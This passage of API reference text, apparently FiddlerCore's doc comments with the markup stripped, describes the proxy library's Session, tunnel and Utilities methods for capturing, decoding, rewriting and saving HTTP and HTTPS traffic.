object from a client socket and execute the session + + Parameter object defining client socket and endpoint's HTTPS certificate, if present + + + + Call this method to AuthenticateAsServer on the client pipe. If configured, the pipe will first sniff the request + for the SubjectCN expected, which might be advertised in the TLS ServerNameIndicator extension. + + The default certificate to use + TRUE if a HTTPS handshake was achieved; FALSE for any exceptions or other errors. + + + + Call this function while in the "reading response" state to update the responseBodyBytes array with + the partially read response. + + TRUE if the peek succeeded; FALSE if not in the ReadingResponse state + + + + Prevents the server pipe from this session from being pooled for reuse + + + + + Ensures that, after the response is complete, the client socket is closed and not reused. + Does NOT (and must not) close the pipe. + + + + + Immediately close client and server sockets. Call in the event of errors-- doesn't queue server pipes for future reuse. + + + + + + Closes both client and server pipes and moves state to Aborted; unpauses thread if paused. + + + + + Save HTTP response body to Fiddler Captures folder. You likely want to call utilDecodeResponse first. + + True if the response body was successfully saved + + + + Save HTTP response body to specified location. You likely want to call utilDecodeResponse first. + + The name of the file to which the response body should be saved. + True if the file was successfully written. + + + + Save the request body to a file. You likely want to call utilDecodeRequest first. + + The name of the file to which the request body should be saved. + True if the file was successfully written. + + + + Save the request and response to a single file. + + The filename to which the session should be saved. + TRUE if only the headers should be written. + + + + Save the request to a file; the headers' Request Line will not contain the scheme or host + + The name of the file to which the request should be saved. + TRUE to save only the headers + + + + Save the request to a file + + The name of the file to which the request should be saved. + TRUE to save only the headers. + TRUE to include the Scheme and Host in the Request Line. + + + + Read metadata about this session from a stream. NB: Closes the Stream when done. + + The stream of XML text from which session metadata will be loaded. + True if the Metadata was successfully loaded; False if any exceptions were trapped. + + + + Writes this session's metadata to a file. + + The name of the file to which the metadata should be saved in XML format. + True if the file was successfully written. + + + + Saves the response (headers and body) to a file + + The File to write + TRUE if only heaers should be written + + + + Write the metadata about this session to a stream. The Stream is left open! + + The Stream to write to + + + + Write the session's Request to the specified stream + + TRUE if only the headers should be be written + TRUE if the Scheme and Host should be written in the Request Line + The Stream to which the request should be written + True if the request was written to the stream. False if the request headers do not exist. Throws on other stream errors. + + + + Write the session's Request to the specified stream + + TRUE if only the headers should be be written + TRUE if the Scheme and Host should be written in the Request Line + TRUE if binary bodies should be encoded in base64 for text-safe transport + The Stream to which the request should be written + True if the request was written to the stream. False if the request headers do not exist. Throws on other stream errors. + + + + Write the session's Response to the specified stream + + The stream to which the response should be written + TRUE if only the headers should be written + TRUE if the response was written to the stream. False if the response headers do not exist. Throws on other stream errors. + + + + Write the session to the specified stream + + The stream to which the session should be written + TRUE if only the request and response headers should be written + False on any exceptions; True otherwise + + + + Replace HTTP request headers and body using the specified file. + + The file containing the request + True if the file was successfully loaded as the request body + + + + Replace HTTP response headers and body using the specified stream. + + The stream containing the response. + True if the Stream was successfully loaded. + + + + Replace HTTP response headers and body using the specified file. + + The file containing the response. + True if the file was successfully loaded. + + + + Return a string generated from the request body, decoding it and converting from a codepage if needed. Throws on errors. + + A string containing the request body. + + + + Return a string generated from the response body, decoding it and converting from a codepage if needed. Throws on errors. + + A string containing the response body. + + + + Find the text encoding of the request + + Returns the Encoding of the requestBodyBytes + + + + Find the text encoding of the response + + The Encoding of the responseBodyBytes + + + + Returns true if the absolute request URI contains the specified string. Case-insensitive. + + Case-insensitive string to find + TRUE if the URI contains the string + + + + Removes chunking and HTTP Compression from the Response. Adds or updates Content-Length header. + + Returns TRUE if the response was decoded; returns FALSE on failure, or if response didn't have headers that showed encoding. + + + + Removes chunking and HTTP Compression from the Request. Adds or updates Content-Length header. + + Returns TRUE if the request was decoded; returns FALSE on failure, or if request didn't have headers that showed encoding. + + + + Use GZIP to compress the request body. Throws exceptions to caller. + + TRUE if compression succeeded + + + + Use GZIP to compress the response body. Throws exceptions to caller. + + TRUE if compression succeeded + + + + Use DEFLATE to compress the response body. Throws exceptions to caller. + + TRUE if compression succeeded + + + + Use BZIP2 to compress the response body. Throws exceptions to caller. + + TRUE if compression succeeded + + + + Introduces HTTP Chunked encoding on the response body + + The number of chunks to try to create + TRUE if the chunking could be performed. + + + + Perform a string replacement on the request body. Adjusts the Content-Length header if needed. + + The case-sensitive string to search for. + The text to replace. + TRUE if one or more replacements occurred. + + + + Call inside OnBeforeRequest to create a response object and bypass the server. + + + + + Perform a regex-based string replacement on the response body. Adjusts the Content-Length header if needed. + + The regular expression used to search the body. Specify RegEx Options via leading Inline Flags, e.g. (?im) for case-Insensitive Multi-line. + The text or expression used to replace + TRUE if replacements occured + + + + Perform a string replacement on the response body (potentially multiple times). Adjust the Content-Length header if needed. + + String to find (case-sensitive) + String to use to replace + TRUE if replacements occurred + + + + Perform a one-time string replacement on the response body. Adjust the Content-Length header if needed. + + String to find (case-sensitive) + String to use to replace + TRUE for Case-Sensitive + TRUE if a replacement occurred + + + + Replaces the request body with sString as UTF8. Sets Content-Length header and removes Transfer-Encoding/Content-Encoding. + + The desired request Body as a string + + + + Replaces the response body with sString. Sets Content-Length header and removes Transfer-Encoding/Content-Encoding + + The desired response Body as a string + + + + Add a string to the top of the response body, updating Content-Length. (Call utilDecodeResponse first!) + + The string to prepend + + + + Find a string in the request body. Return its index, or -1. + + Term to search for + Require case-sensitive match? + Location of sSearchFor,or -1 + + + + Find a string in the response body. Return its index, or -1. + + Term to search for + Require case-sensitive match? + Location of sSearchFor,or -1 + + + + Reset the SessionID counter to 0. This method can lead to confusing UI, so use sparingly. + + + + + Create a session object from two byte[] representing request and response. + + The client data bytes + The server data bytes + + + + Create a Session object from a (serializable) SessionData object + + + + + + Create a session object from two byte[] representing request and response. This is used when loading a Session Archive Zip. + + The client data bytes + The server data bytes + SessionFlags for this session + + + + Creates a new session and attaches it to the pipes passed as arguments + + The client pipe from which the request is read and to which the response is written. + The server pipe to which the request is sent and from which the response is read. May be null. + + + + Initialize a new session from a given request headers and body request builder data. Note: No Session ID is assigned here. + + NB: If you're copying an existing request, use oRequestHeaders.Clone() + The bytes of the request's body + + + + Called when the session is ready to begin processing. Eats exceptions to prevent unhandled exceptions on background threads from killing the application. + + Unused parameter (required by ThreadPool) + + + + InnerExecute() implements Fiddler's HTTP Pipeline + + + + + If the response demands credentials and the Session is configured to have Fiddler provide those + credentials, try to do so now. + + TRUE if Fiddler has generated a response to an Auth challenge; FALSE otherwise. + + + + This method will perform obtain authentication credentials from System.NET using a reflection trick to grab the internal value. + It's needed to cope with CBT. + + This MUST live within its own non-inlined method such that when it's run on an outdated version of the .NET Framework, the outdated + version of the target object triggers a TypeLoadException in such a way that the caller can catch it and warn the user without + killing Fiddler.exe. + + + + + + Returns a Kerberos-usable SPN for the target + http://dev.chromium.org/developers/design-documents/http-authentication + "HttpAuthHandlerNegotiate::CreateSPN" + http://blog.michelbarneveld.nl/michel/archive/2009/11/14/the-reason-why-kb911149-and-kb908209-are-not-the-soluton.aspx + + + + + + + Returns the fully-qualified URL to which this Session's response points, or null. + + null, or Target URL. Note, you may want to call Utilities.TrimAfter(sTarget, '#'); + + + + Gets a redirect-target from a base URI and a Location header + + + + null, or Target URL. Note, you may want to call Utilities.TrimAfter(sTarget, '#'); + + + + Fiddler can only auto-follow redirects to HTTP/HTTPS/FTP. + + The BASE URL to which a relative redirection should be applied + Response "Location" header + TRUE if the auto-redirect target is allowed + + + + Handles a Response's Redirect if the Session is configured to do so. + + TRUE if a redirect was handled, FALSE otherwise + + + + Check for common mistakes in HTTP Responses and notify the user if they are found. Called only if Linting is enabled. + + + + + Assign a Session ID. Called by ClientChatter when headers are available + + + + + Called only by InnerExecute, this method reads a request from the client and performs tampering/manipulation on it. + + TRUE if there's a Request object and we should continue processing. FALSE if reading the request failed + *OR* if script or an extension changed the session's State to DONE or ABORTED. + + + + + Returns TRUE if response is a NTLM or NEGO challenge + + True for HTTP/401,407 with NEGO or NTLM demand + + + + Returns TRUE if response is a Digest, NTLM, or Nego challenge + + True for HTTP/401,407 with Digest, NEGO, NTLM demand + + + + Replace the "ipv*.fiddler "fake" hostnames with the IP-literal equvalents. + + + + + Determines if request host is pointing directly at Fiddler. + + + + + + Echo the client's request back as a HTTP Response, encoding to prevent XSS. + + + + + Send a Proxy Configuration script back to the client. + + + + + Send a Proxy Configuration script back to WinHTTP, so that Fiddler can use an upstream proxy specified + by a script on a fileshare. (WinHTTP only allows HTTP/HTTPS-hosted script files) + + + + + Send the Fiddler Root certificate back to the client + + + + + This method indicates to the client that a secure tunnel was created, + without actually talking to an upstream server. + + If Fiddler's AutoResponder is enabled, and that autoresponder denies passthrough, + then Fiddler itself will always indicate "200 Connection Established" and wait for + another request from the client. That subsequent request can then potentially be + handled by the AutoResponder engine. + + BUG BUG: This occurs even if Fiddler isn't configured for HTTPS Decryption + + + The hostname to use in the Certificate returned to the client + + + + This method adds a Proxy-Support: Session-Based-Authentication header and indicates whether the response is Nego:Type2. + + Returns TRUE if server returned a credible Type2 NTLM Message + + + + This helper evaluates the conditions for client socket reuse. + + + + + + Sends the Response that Fiddler received from the server back to the client socket. + + Should the client and server pipes be tightly-bound together? + True, if the response was successfully sent to the client + + + + Sets up the next Session on these pipes, binding this Session's pipes to that new Session, as appropriate. When this method is called, + the nextSession variable is populated with the new Session, and that object is executed at the appropriate time. + + TRUE if both the client and server pipes should be bound regardless of the serverPipe's ReusePolicy + + + + Refresh the UI elements for the session. + + Use TRUE to call Invoke, use FALSE to call BeginInvoke. + + + + Bitflags of commonly-queried session attributes + + + + + If this session is a Tunnel, and the tunnel's IsOpen property is TRUE, returns TRUE. Otherwise returns FALSE. + + + + + If this session is a Tunnel, returns number of bytes sent from the Server to the Client + + + + + If this session is a Tunnel, returns number of bytes sent from the Client to the Server + + + + + Returns True if this is a HTTP CONNECT tunnel. + + + + + A common use for the Tag property is to store data that is closely associated with the Session. + It is NOT marshalled during drag/drop and is NOT serialized to a SAZ file. + + + + + This event fires at any time the session's State changes. Use with caution due to the potential for performance impact. + + + + + This event fires if this Session automatically yields a new one, for instance, if Fiddler is configured to automatically + follow redirects or perform multi-leg authentication (X-AutoAuth). + + + + + Gets or Sets the HTTP Request body bytes. + Setter adjusts Content-Length header, and removes Transfer-Encoding and Content-Encoding headers. + Setter DOES NOT CLONE the passsed array. + Setter will throw if the Request object does not exist for some reason. + Use utilSetRequestBody(sStr) to ensure proper character encoding if you need to use a string. + + + + + Gets or Sets the HTTP Response body bytes. + Setter adjusts Content-Length header, and removes Transfer-Encoding and Content-Encoding headers. + Setter DOES NOT CLONE the passsed array. + Setter will throw if the Response object has not yet been created. (See utilCreateResponseAndBypassServer) + Use utilSetResponseBody(sStr) to ensure proper character encoding if you need to use a string. + + + + + When true, this session was conducted using the HTTPS protocol. + + + + + When true, this session was conducted using the FTP protocol. + + + + + Get the process ID of the application which made this request, or 0 if it cannot be determined. + + + + + Gets a path-less filename suitable for saving the Response entity. Uses Content-Disposition if available. + + + + + Set to true in OnBeforeRequest if this request should bypass the gateway + + + + + Returns the port used by the client to communicate to Fiddler. + + + + + State of session. Note Side-Effects: If setting to .Aborted, calls FinishUISession. If setting to/from a Tamper state, calls RefreshMyInspectors + + + + + Returns the path and query part of the URL. (For a CONNECT request, returns the host:port to be connected.) + + + + + Retrieves the complete URI, including protocol/scheme, in the form http://www.host.com/filepath?query. + Or sets the complete URI, adjusting the UriScheme and/or Host. + + + + + Gets or sets the URL (without protocol) being requested from the server, in the form www.host.com/filepath?query. + + + + + DNS Name of the host server targeted by this request. May include IPv6 literal brackets. NB: a port# may be included. + + + + + DNS Name of the host server (no port) targeted by this request. Will include IPv6-literal brackets for IPv6-literal addresses + + + + + Returns the server port to which this request is targeted. + + + + + Returns the sequential number of this session. Note, by default numbering is restarted at zero when the session list is cleared. + + + + + Returns the Address used by the client to communicate to Fiddler. + + + + + Gets or Sets the HTTP Status code of the server's response + + + + + Checks whether this is a WebSocket, and if so, whether it has logged any parsed messages. + + + + + Returns TRUE if this session's State > ReadingResponse, and oResponse, oResponse.headers, and responseBodyBytes are all non-null. Note that + bHasResponse returns FALSE if the session is currently reading, even if a body was copied using the COMETPeek feature + + + + + Indexer property into SESSION flags, REQUEST headers, and RESPONSE headers. e.g. oSession["Request", "Host"] returns string value for the Request host header. If null, returns String.Empty + + SESSION, REQUEST or RESPONSE + The name of the flag or header + String value or String.Empty + + + + Simple indexer into the Session's oFlags object; returns null if flag is not present. + + + Returns the string value if the specified flag is present, or null if it is not. + + + + + This object holds Session information as a set of four easily-marshalled byte arrays. + It is serializable, which enables cross-process transfer of this data (as in a drag/drop operation). + (Internally, data is serialized as if it were being stored in a SAZ file) + + + + + Create a SessionData object. + Note: Method must run as cheaply as possible, since it runs on all Drag/Dropped sessions within Fiddler itself. + + + + + + Parameters passed into the AcceptConnection method. + + + + + The Socket which represents the newly-accepted Connection + + + + + The Certificate to pass to SecureClientPipeDirect immediately after accepting the connection. + Normally null, this will be set if the proxy endpoint is configured as a "Secure" endpoint + by AssignEndpointCertificate / ActAsHTTPSEndpointForHostname. + + + + + The DateTime of Creation of this connection + + + + + Unknown + + + + + The new Session is needed to respond to an Authentication Challenge + + + + + The new Session is needed to follow a Redirection + + + + + The new Session is needed to generate a CONNECT tunnel + + + + + Event arguments constructed for the OnStateChanged event raised when a Session's state property changed + + + + + The prior state of this session + + + + + The new state of this session + + + + + Constructor for the change in state + + The old state + The new state + + + + This class holds a specialized memory stream with growth characteristics more suitable for reading from a HTTP Stream. + The default MemoryStream's Capacity will always grow to 256 bytes, then at least ~2x current capacity up to 1gb, then to the exact length after that. + This has two problems: + + The capacity may unnecessarily grow to >85kb, putting the object on the LargeObjectHeap even if we didn't really need 85kb. + After the capacity reaches 1gb in length, the capacity growth never exceeds the length, leading to huge reallocations and copies on every write. + + In some cases, the client can "hint" what the proper capacity ultimately needs to be by adding the Header size in bytes to the Content-Length specified size. + + + + + Used by the caller to supply a hint on the expected total size of reads from the pipe. + We cannot blindly trust this value because sometimes the client or server will lie and provide a + huge value that it will never use. This is common for RPC-over-HTTPS tunnels like that used by Outlook, for instance. + + Suggested total buffer size in bytes + + + + Interface for the WebSocket and CONNECT Tunnel classes + + + + + The CONNECTTunnel class represents a "blind tunnel" through which a CONNECT request is serviced to shuffle bytes between a client and the server. + + + See pg 206 in HTTP: The Complete Reference for details on how Tunnels work. + When HTTPS Decryption is disabled, Fiddler accepts a CONNECT request from the client. Then, we open a connection to the remote server. + We shuttle bytes back and forth between the client and the server in this tunnel, keeping Fiddler itself out of the loop + (no tampering, etc). + + + + + Number of bytes received from the client + + + + + Number of bytes received from the server + + + + + TRUE if this is a Blind tunnel, FALSE if decrypting + + + + + This "Factory" method creates a new HTTPS Tunnel and executes it on a background (non-pooled) thread. + + The Session containing the HTTP CONNECT request + + + + Creates a HTTPS tunnel. External callers instead use the CreateTunnel static method. + + The session for which this tunnel was initially created. + Client Pipe + Server Pipe + + + + This function keeps the thread alive until it is signaled that the traffic is complete + + + + + Executes the HTTPS tunnel inside an All-it-can-eat exception handler. + Call from a background thread. + + + + + Close the HTTPS tunnel and signal the event to let the service thread die. + WARNING: This MUST not be allowed to throw any exceptions, because it will do so on threads that don't catch them, and this will kill the application. + + + + + Called when we have received data from the local client. + Incoming data will immediately be forwarded to the remote host. + + The result of the asynchronous operation. + + + Called when we have sent data to the local client.
When all the data has been sent, we will start receiving again from the remote host.
 + The result of the asynchronous operation. + + + Called when we have sent data to the remote host.
When all the data has been sent, we will start receiving again from the local client.
 + The result of the asynchronous operation. + + + Called when we have received data from the remote host.
Incoming data will immediately be forwarded to the local client.
 + The result of the asynchronous operation. + + + + Returns number of bytes sent from the Server to the Client + + + + + Returns number of bytes sent from the Client to the Server + + + + + Holds a variety of useful functions used in Fiddler and its addons. + + + + + A static byte array containing 0 elements. Use to avoid having many copies of an empty byte[] floating around. + + + + + Queries the user for a filename + + Dialog title + String representing file dialog filter + Filename or null + + + + Queries the user for a filename + + Dialog title + String representing file dialog filter + Initial directory or null + Filename or null + + + + Queries the user for an OPEN filename + + Dialog title + String representing file dialog filter (e.g. "All files (*.*)|*.*") + Filename or null + + + + Queries the user for an OPEN filename + + Dialog title + String representing file dialog filter + Initial directory or null + Filename or null + + + + Check to see that the target assembly defines a RequiredVersionAttribute and that the current Fiddler instance meets that requirement + + The assembly to test + The "type" of extension for display in error message + TRUE if the assembly includes a requirement and Fiddler meets it. + + + + Typically, a version number is displayed as "major number.minor number.build number.private part number". + + Version required + Version of the binary being tested + Returns 0 if exact match, else greater than 0 if Required version greater than verTest + + + + Shrinks a path string to fit within a certain number of characters, replacing segments with ellipses if needed. + + The Path to compact + Number of characters to shrink to + The compacted string, or the original string if compaction wasn't needed or failed + + + + Convert a full path into one that uses environment variables + + e.g. C:\windows\system32\foo.dll + %WINDIR%\System32\foo.dll + + + + Address the problem where the target "PATH" calls for a directoryname is already a filename + + + + + + + Ensure that the target file does not yet exist. If it does, generates a new filename with an embedded identifier, e.g. out[1].txt instead. + Attempts to ensure filename is creatable; e.g. if a path component needs to be a directory but is a file already, injects [#] into that + path component. + + Candidate filename + New filename which does not yet exist + + + + Ensure that the target path exists and if a file exists there, it is not readonly or hidden. + WARNING: Can throw if target "Filename" calls for a parent directoryname that is already used by a non-directory. + E.g. EnsureOverwriteable(C:\io.sys\filename.txt); would throw. + + The candidate filename + + + + Writes arrBytes to a file, creating the target directory and overwriting if the file exists. + + Path to File to write. + Bytes to write. + + + + Fills an array completely using the provided stream. Unlike a normal .Read(), this one will always fully fill the array unless the Stream throws. + + The stream from which to read. + The byte array into which the data should be stored. + The count of bytes read. + + + + Create a new byte[] containing the contents of two other byte arrays. + + + + + + + + Returns the Value from a (case-insensitive) token in the header string. Correctly handles double-quoted strings. Allows comma and semicolon as delimiter + + Name of the header + Name of the token + Value of the token if present; otherwise, null + + + + Ensures that the target string is iMaxLength or fewer characters + + The string to trim from + The maximum number of characters to return + Up to iMaxLength characters from the "Head" of the string. + + + + Ensures that the target string is iMaxLength or fewer characters, appending ... if truncation occurred + + The string to trim from + The maximum number of characters to return + The string, or up to iMaxLength-1 characters from the "Head" of the string, with \u2026 appeneded. + + + + Returns the "Head" of a string, before and not including a specified search string. + + The string to trim from + The delimiting string at which the trim should end. + Part of a string up to (but not including) sDelim, or the full string if sDelim was not found. + + + + Returns the "Head" of a string, before and not including the first instance of specified delimiter. + + The string to trim from. + The delimiting character at which the trim should end. + Part of a string up to (but not including) chDelim, or the full string if chDelim was not found. + + + + [Deprecated] Ensures that the target string is iMaxLength or fewer characters + + The string to trim from + The maximum number of characters to return + Identical to the method. + Up to iMaxLength characters from the "Head" of the string. + + + + Returns the "Tail" of a string, after (but NOT including) the First instance of specified delimiter. + + + The string to trim from. + The delimiting character after which the text should be returned. + Part of a string after (but not including) chDelim, or the full string if chDelim was not found. + + + + Returns the "Tail" of a string, after (but NOT including) the First instance of specified search string. + + + The string to trim from. + The delimiting string after which the text should be returned. + Part of a string after (but not including) sDelim, or the full string if sDelim was not found. + + + + Returns the "Tail" of a string, after (and including) the first instance of specified search string. + + The string to trim from. + The delimiting string at which the text should be returned. + Part of the string starting with sDelim, or the entire string if sDelim not found. + + + + Returns the "Tail" of a string, after (but not including) the Last instance of specified delimiter. + + + The string to trim from. + The delimiting character after which text should be returned. + Part of a string after (but not including) the final chDelim, or the full string if chDelim was not found. + + + + Returns the "Tail" of a string, after (but not including) the Last instance of specified substring. + + + The string to trim from. + The delimiting string after which text should be returned. + Part of a string after (but not including) the final sDelim, or the full string if sDelim was not found. + + + + Determines true if a request with the specified HTTP Method/Verb MUST contain a entity body + + The Method/Verb + TRUE if the HTTP Method MUST contain a request body. + + + + Returns true if a request with the specified HTTP Method/Verb may contain a entity body + + The Method/Verb + TRUE if the HTTP Method MAY contain a request body. + + + + Detects whether string ends in a file extension generally recognized as an image file extension. + Pass lowercase into this function. + + Lowercase string + TRUE if string ends with common image file extension + + + + Determines if the specified MIME type is "binary" in nature. + + The MIME type + TRUE if the MIME type is likely binary in nature + + + + Gets a string from a byte-array, stripping a Byte Order Marker preamble if present. + + + This function really shouldn't need to exist. Why doesn't calling .GetString on a string with a preamble remove the preamble??? + + The byte array + The encoding to convert from + The string + + + + Gets (via Headers or Sniff) the provided body's text Encoding. If not found, returns CONFIG.oHeaderEncoding (usually UTF-8). Potentially slow. + + HTTP Headers, ideally containing a Content-Type header with a charset attribute. + byte[] containing the entity body. + A character encoding, if one could be determined + + + + Gets (via Headers or Sniff) the Response Text Encoding. Returns CONFIG.oHeaderEncoding (usually UTF-8) if unknown. + Perf: May be quite slow; cache the response + + The session + The encoding of the response body + + + + Set of encodings for which we'll attempt to sniff. List ordered from longest BOM to shortest + + + + + HtmlEncode a string. + In Fiddler itself, this is a simple wrapper for the System.Web.HtmlEncode function. + The .NET3.5/4.0 Client Profile doesn't include System.Web, so we must provide our + own implementation of HtmlEncode for FiddlerCore's use. + + String to encode + String encoded according to the rules of HTML Encoding, or null. + + + + This function accepts a string and an offset into the string. It reads one or more %XX sequences from the + string converting them into a UTF-8 string based on the input text + + + + + + + + Convert the %-encoded string into a string, interpreting %-escape sequences as UTF-8 characters + + %-encoded string + Unencoded string + + + + Replaces System.Web.HttpUtility.UrlPathEncode(str). + + String to encode as a URL Path + Encoded string + + + + Tokenize a string into tokens. Delimits on unquoted whitespace ; quote marks are dropped unless preceded by \ characters. + BUG BUG: Doesn't do what you expect with a path like this, due to the trailing slash: + prefs set fiddler.config.path.webtestexport.plugins "F:\users\ericlaw\documents\fiddler2\importexport\VSWebTest\" + For now, the simple bet is to drop the final backslash (since it'll get put back by other code) + + The string to tokenize + An array of strings + + + + Pretty-print a Hex view of a byte array. Slow. + + The byte array + Number of bytes per line + String containing a pretty-printed array + + + + Pretty-print a Hex view of a byte array. Slow. + + The byte array + Number of bytes per line + The maximum number of bytes to pretty-print + String containing a pretty-printed array + + + + Pretty-print a Hex view of a byte array. Slow. + + The byte array + Number of bytes per line + The maximum number of bytes to pretty-print + Show ASCII text at the end of each line + String containing a pretty-printed array + + + + Print an byte array to a hex string. + Slow. + + Byte array + String of hex bytes + + + + Create a string in CF_HTML format + + The HTML string + The HTML string wrapped with a CF_HTML prelude + + + + Returns an integer from the registry, or a default. + + The Registry key in which to find the value. + The registry value name. + Default to return if the registry key is missing or cannot be used as an integer + The retrieved integer, or the default. + + + + Save a string to the registry. Correctly handles null Value, saving as String.Empty + + The registry key into which the value will be written. + The name of the value. + The value to write. + + + + Returns an Float from the registry, or a default. + + Registry key in which to find the value. + The value name. + The default float value if the registry key is missing or cannot be used as a float. + Float representing the value, or the default. + + + + Get a bool from the registry + + The RegistryKey + The Value name + The default value + Returns an bool from the registry, or bDefault if the registry key is missing or cannot be used as an bool. + + + + Maps a MIMEType to a file extension. Note: May hit the registry, so consider the performance implications. + Pass only the TYPE (e.g. use oResponse.MIMEType), to ensure no charset info in the string. + + The MIME Type + A file extension for the type, or .TXT + + + + Use the system registry to find the proper MIME-Type for a given file extension + + Dot-prefixed file extension (e.g. ".js") + Content-Type, or null if one cannot be determined + + + + Determines if we have a complete chunked response body (RFC2616 Section 3.6.1) + + The session object, used for error reporting + The response data stream. Note: We do not touch the POSITION property. + The start of the HTTP body to scan for chunk size info + Returns the start of the final received/partial chunk + End of byte data in stream representing this chunked content, or -1 if error + True, if we've found the complete last chunk, false otherwise. + + + + Takes a byte array and applies HTTP Chunked Transfer Encoding to it + + The byte array to convert + The number of chunks to try to create + The byte array with Chunked Transfer Encoding applied + + + + Removes HTTP chunked encoding from the data in writeData and returns the resulting array. + + Some chunked data + Unchunked data. Warning: Throws on data format errors + + + + Returns TRUE if the Array contains nulls. TODO: Extend to check for other chars which are clearly non-Unicode + + + + + + + Implements a BlockList for "unknown" encodings that the utilDecode* functions cannot handle + + Transfer-Encoding + Content-Encoding + TRUE if any encoding is known to be unsupported + + + + Remove all encodings from arrBody, based on those specified in the supplied HTTP headers; does NOT touch headers. Throws on errors. + + *Readonly* headers specifying what encodings are applied + In/Out array to be modified + + + + Decompress an array compressed using an Zlib DEFLATE stream. Not a HTTP Encoding; it's used internally in the PNG format. + + The array to expand + byte[] of decompressed data + + + + GZIPs a byte-array + + Input byte array + byte[] containing a gzip-compressed copy of writeData[] + + + + GZIP-Expand function which shows no UI and will throw on error + + TRUE if you want to use Xceed to decompress; false if you want to use System.IO + byte[] to decompress + A decompressed byte array, or byte[0]. Throws on errors. + + + + Expands a GZIP-compressed byte array + + The array to decompress + byte[] containing an un-gzipped copy of compressedData[] + + + + Compress a byte array using RFC1951 DEFLATE + + Array to compress + byte[] containing a DEFLATE'd copy of writeData[] + + + + UnDeflate function which shows no UI and will throw on error + + TRUE if you want to use Xceed to decompress; false if you want to use System.IO + byte[] to decompress + A decompressed byte array, or byte[0]. Throws on errors. + + + + Decompress a byte array that was compressed using RFC1951 DEFLATE + + Array to decompress + byte[] of decompressed data + + + + Compress a byte[] using the bzip2 algorithm + + Array to compress + byte[] of data compressed using bzip2 + + + + Decompress an array compressed using bzip2 + + The array to expand + byte[] of decompressed data + + + + Decompress an array compressed using bzip2 + + The array to expand + byte[] of decompressed data + + + + Try parsing the string for a Hex-formatted int. If it fails, return false and 0 in iOutput. + + The hex number + The int value + TRUE if the parsing succeeded + + + + Returns TRUE if two ORIGIN (scheme+host+port) values are functionally equivalent. + + The first ORIGIN + The second ORIGIN + The default port, if a port is not specified + TRUE if the two origins are equivalent + + + + This function cracks a sHostPort string to determine if the address + refers to a "local" site + + The string to evaluate, potentially containing a port + True if the address is local + + + + This function cracks a sHostPort string to determine if the address + refers to the local computer + + The string to evaluate, potentially containing a port + True if the address is 127.0.0.1, 'localhost', or ::1 + + + + Determines if the specified Hostname is a either 'localhost' or an IPv4 or IPv6 loopback literal + + Hostname (no port) + TRUE if the hostname is equivalent to localhost + + + + This function cracks the Hostname/Port combo, removing IPV6 brackets if needed + + Hostname/port combo, like www.foo.com or www.example.com:8888 or [::1]:80 + The hostname, minus any IPv6 literal brackets, if present + Port #, 80 if not specified, -1 if corrupt + + + + Given a string/list in the form HOSTNAME:PORT#;HOSTNAME2:PORT2#, this function returns the FIRST IPEndPoint. Defaults to port 80 if not specified. + Warning: DNS resolution is slow, so use this function wisely. + + HOSTNAME:PORT#;OPTHOST2:PORT2# + An IPEndPoint or null + + + + Given a string/list in the form HOSTNAME:PORT#;HOSTNAME2:PORT2#, this function returns all IPEndPoints for ALL listed hosts. Defaults to port 80 if not specified. + Warning: DNS resolution is slow, so use this function wisely. + + HOSTNAME:PORT#;OPTHOST2:PORT2# + An array of IPEndPoints or null if no results were obtained + + + + This function attempts to be a ~fast~ way to return an IP from a hoststring that contains an IP-Literal. + + Hostname + IPAddress, or null, if the sHost wasn't an IP-Literal + + + + Launch the user's browser to a hyperlink. This function traps exceptions and notifies the user via UI dialog. + + The URL to ShellExecute. + TRUE if the ShellExecute call succeeded. + + + + Wrapper for Process.Start that shows error messages in the event of failure. + + Fully-qualified filename to execute. + Command line parameters to pass. + TRUE if the execution succeeded. FALSE if the execution failed. An error message will be shown for any error except the user declining UAC. + + + + Run an executable and wait for it to exit, notifying the user of any exceptions. + + Fully-qualified filename of file to execute. + Command-line parameters to pass. + TRUE if the execution succeeded. FALSE if the error message was shown. + + + + Run an executable, wait for it to exit, and return its output as a string. + NOTE: Uses CreateProcess, so you cannot launch applications which require Elevation. + + Fully-qualified filename of file to Execute + Command-line parameters to pass + Exit code returned by the executable + String containing the standard-output of the executable + + + + Copy a string to the clipboard, notifying the user of any exceptions + + The text to copy + TRUE if the copy succeeded + + + + Copy an object to the clipboard, notifying the user of any exceptions + + The object to copy + True if successful + + + + This method prepares a string to be converted into a regular expression by escaping special characters. + This method was originally meant for parsing WPAD proxy script strings, but is now used in other places. You should probably be using the Static RegEx.Escape method for most purposes instead. + + + + + + + + + Determines whether the arrData array STARTS WITH with the supplied arrMagics bytes. Used for Content-Type sniffing. + + The data, or null + The MagicBytes to look for + TRUE if arrData begins with arrMagics + + + + Determines whether the arrData array begins with the supplied sMagics ASCII text. Used for Content-Type sniffing. + + The data, or null + The ASCII text to look for + TRUE if arrData begins with sMagics (encoded as ASCII octets) + + + + Is this HTTPMethod used for RPC-over-HTTPS? + + + + + Determine if a given byte array has the start of a HTTP/1.* 200 response. + Useful primarily to determine if a CONNECT request to a proxy returned success. + + + + + + + Determine if a given byte array has the start of a HTTP/1.* 200 response. + Useful primarily to determine if a CONNECT request to a proxy returned success. + + + + + + + For a given process name, returns a bool indicating whether this is a known browser process name. + + The Process name (e.g. "abrowser.exe") + Returns true if the process name starts with a common browser process name (e.g. ie, firefox, etc) + + + + Ensure that a given path is absolute, if not, applying the root path + + + + + + + + If sFilename is absolute, returns it, otherwise, combines the leaf filename with local response folders hunting for a match. + Trims at the first ? character, if any + + Either a fully-qualified path, or a leaf filename + File path + + + + Format an Exception message, including InnerException message if present. + + + + + + + Get a TickCount (milliseconds since system start) as an unsigned 64bit value. On Vista+, uses the GetTickCount64 API that won't rollover, + but on XP, this unsigned wrapper moves the rollover point to 49 days of uptime. + + Number of ms since Windows started + + + + Returns TRUE if the user is running Elevated. Requires WinXP to Win8 + + TRUE if the user is an Admin and the process is Elevated + + + + Returns a succinct version of Environment.OSVersion.VersionString + + + + + + Duplicate a byte array, replacing null with byte[0]. + Doing this instead of .Clone() because it better handles nulls and it may be faster. + + The array to copy + The new array. + + + + Returns TRUE if the array is null or contains 0 bytes + + byte[] to test + + + + + + + + True if ClientChatter is non-null and its headers are non-null + + + + True if ClientChatter is non-null and its headers are non-null + + + True if ClientChatter is non-null and its headers are non-null + + + + Return a multi-line string describing the NetworkInterfaces[] + + + + + + Checks a DLL's filename for signals that it doesn't contain extensions. + TODO: This is only needed because I wasn't smart enough to require that the assembly be named something like Fiddler.* + + DLL filename + TRUE if we should skip this assembly during enumeration + + + + URLMon Interop Class + + + + + Set the user-agent string for the current process + + New UA string + + + + Query WinINET for the current process' 